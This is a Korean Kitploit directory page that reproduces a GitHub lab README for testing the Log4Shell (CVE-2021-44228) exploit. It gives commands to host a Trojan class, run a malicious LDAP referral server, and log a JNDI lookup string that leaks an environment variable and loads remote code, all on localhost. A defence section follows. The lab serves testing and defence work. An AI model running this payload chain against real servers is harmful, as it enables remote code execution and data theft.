Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/wajda/log4shell-test-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubwajda/log4shell-test-exploit

log4shell-test-exploit

CVE-2021-44228 테스트 악용

저장소 보기
114년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44228 (log4shell) 익스플로잇 테스트

준비

root@kitploit:~
# Install Nodejs HTTP server 
npm -g i http-server

# Build victim app
cd victim-app
mvn install

# Compile Trojan
cd test-trojan
javac Trojan.java

# Build marshalsec (required Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Build log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew

트로이 목마 페이로드를 호스팅하는 HTTP 서버 시작

root@kitploit:~
cd test-trojan
http-server .

악성 LDAP 서버 시작

참고: https://github.com/mbechler/marshalsec

root@kitploit:~
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"

익스플로잇 이벤트 모니터링 (선택 사항)

stderr가 숨겨져 있을 때 유용함

root@kitploit:~
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'

익스플로잇

설명

취약한 log4j2 라이브러리(버전 2.14.1)를 통해 피해 애플리케이션이 다음 문자열을 로깅합니다.

root@kitploit:~
log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");

두 가지 공격 벡터를 동시에 실행합니다:

  1. 환경 변수 스니핑(예: $USER). 이 변수는 marshalsec LDAP 서버 출력에서 확인할 수 있습니다.
root@kitploit:~
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
  1. 악성 코드를 다운로드하여 실행합니다. 이 코드는 피해 앱의 표준 오류 스트림에 !!! BUSTED !!! 메시지를 로깅하고, 빈 /tmp/log4shell-BUSTED-* 파일을 생성합니다.
    이 공격이 작동하려면 피해 서버에서 다음 JVM 옵션이 활성화되어 있어야 합니다:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
실행
root@kitploit:~
cd victim-app

# ... in a console app
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... in a web app (on Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/

방어

참고: https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support

root@kitploit:~
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

시스템 전체 방어

모든 java 바이너리를 아래 스크립트로 교체하세요:

java.guarded

root@kitploit:~
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"

예:

root@kitploit:~
 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
도구 다운로드